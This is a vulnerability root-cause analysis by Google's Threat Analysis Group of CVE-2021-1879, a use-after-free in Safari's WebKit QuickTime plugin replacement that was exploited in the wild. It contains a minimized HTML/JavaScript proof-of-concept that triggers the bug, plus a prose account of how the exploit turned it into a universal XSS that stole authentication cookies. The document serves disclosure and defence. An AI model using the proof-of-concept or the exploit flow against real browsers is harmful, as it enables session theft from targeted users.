CVE-2021-1879: Use-After-Free in QuickTimePluginReplacement
Clement Lecigne, Google Threat Analysis Group
The Basics
Disclosure or Patch Date: 26 March 2021
Product: Apple WebKit (Safari)
Advisory: https://support.apple.com/en-us/HT212256
Affected Versions: 14.4.1 and previous
First Patched Version: 14.4.2
Issue/Bug Report: https://bugs.webkit.org/show_bug.cgi?id=223561
Patch CL: https://github.com/WebKit/WebKit/commit/629d61f760e57cf322288f528a7fcd318dd14327
Bug-Introducing CL: https://github.com/WebKit/WebKit/commit/5f980f44880269f6e273853961097fcc55cca094 FIXME added in https://github.com/WebKit/WebKit/commit/9b04ff6bea713b87c903f06b0ac6518bce0d2c4b
Reporter(s): Clement Lecigne of Google Threat Analysis Group and Billy Leonard of Google Threat Analysis Group
The Code
Proof-of-concept:
Minimized version created from the original exploit:
- index.html:
<script>
var idd = null;
function onl()
{
idd = document.getElementById("idd");
idd.onload = null;
idd.src = 'http://127.0.0.1:8000/exp.html'
}
function f()
{
idd.onload = g;
idd.src = "http://127.0.0.1:8000/&foo=1";
}
function g()
{
idd.onload = null;
document.getElementById("cur").appendChild(document.createElement("a"));
}
</script>
<body>
<div id="id1"></div>
<div id="cur"></div><br>
<video id="vid"></video>
<iframe id="idd" style="display:none" onload="onl();"></iframe>
</body>
- exp.html:
<script>
var worker = null;
function start()
{
worker = document.getElementById("worker");
window.top.document.getElementById("cur").addEventListener("DOMNodeInserted", callback0);
var intl = setInterval(function(){
worker.GetURL.a = 777;
window.top.f();
clearInterval(intl);
}, 1);
}
function callback0(ev) {
window.requestAnimationFrame(callback);
}
function gc() {
for (let i = 0; i < 0x40; i++) { new ArrayBuffer(0x1000000); }
}
function callback(ev) {
gc();
alert(worker.GetURL.a); // UAF here.
}
</script>
<body onload="start();">
<embed id="worker" src="data:video/mp4;"></embed>
</body>
Exploit sample: N/A
Did you have access to the exploit sample when doing the analysis? Yes
The Vulnerability
Bug class: Use-after-free
Vulnerability details:
The QuickTimePluginReplacement plugin maintains an internal JSC script object
instance m_scriptObject
which is wrongly configured and not properly
tracked by the garbage collector. A Use-After-Free can be triggered by referencing
external JSValues into the m_scriptObject
, these JSValues will be freed while
calling window.requestAnimationFrame
but their references will still be available
in the m_scriptOject
.
Comments surrounding the declaration of m_scriptObject
are actually hinting
for this wrong behavior.
JSC::JSObject* m_scriptObject { nullptr }; // FIXME: Why is it safe to have this pointer here? What keeps it alive during GC?
Patch analysis:
The code of the plugin has been refactored to replace the "custom" m_scriptObject
instance by a JSValueInWrappedObject
which is safer to use.
Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.):
Technically this vulnerability could have been discovered via fuzzing but in this specific case the vulnerability was likely discovered by auditing the code manually. The FIXME added by the WebKit developper probably helped the discovery.
(Historical/present/future) context of bug:
This bug was exploited by Russia/Nobelium to target iPhone users from various government officials. Google TAG Blog
The Exploit
(The terms exploit primitive, exploit strategy, exploit technique, and exploit flow are defined here.)
Exploit strategy (or strategies):
Under analysis
The attacker abused the vulnerability to create a type confusion and forge powerful addrof/fakeobj primitives.
To ensure stability and avoid crashes during GC, the exploit makes sure to restore previously corrupted objects before continuing further.
Exploit flow:
Once arbitrary read and write is achieved, the exploit modifies the internal state of the renderer to turn the issue into an universal XSS.
In order to do this, the exploit is following this flow for each targeted websites.
- Create a websocket
w
connected to an attacker controled IP. - Set
m_universalAccess
to 1 inside the SecurityOrigin class by traversing a set of pointers. - Create a new URL object
u
poiting to the targeted domain. - Overwrite all
Document URLS
of the websocket
w
with the ones from theu
URL. - Overwrite
m_url
field of the websocket
w
with theu
URL. - Trigger a send on the websocket.
- At the end of the websocket, attacker receives requests as they would be
delivered to the targeted websites
u
including the authentication cookies for the targeted websites.
Known cases of the same exploit flow:
- Modifying
m_universalAccess
to bypass the same-origin policy is documented in this "Attacking Javascript Engines" Phrack article.
Part of an exploit chain?
The exploit we discovered was only using this single bug. A sandbox escape was not required.
The Next Steps
Variant analysis
Areas/approach for variant analysis (and why):
- To find very close variants, manually review similar issues in the other
plugins where
JSC::JSObject
are used. - Manual audit
FIXME
comments left in source code and hinting at potential use-after-free bug. - Fuzz HTML elements with same callback sequences, potentially with a tool like Domato.
Found variants: N/A
Structural improvements
What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?
Ideas to kill the bug class:
Ideas to mitigate the exploit flow:
- Implementing site isolation in WebKit like it's done in Firefox or Chrome.
Other potential improvements: N/A
0-day detection methods
What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected as a 0-day?
These types of exploits are likely hard to detect generically.
Other References
- July 2021: "How We Protect Users From 0-Day Attacks" ) by Google's Threat Analysis Group gives context about how this exploit was used.
- February 2020: Forget the Sandbox Escape: Abusing Browsers from Code Execution by Amy Burnett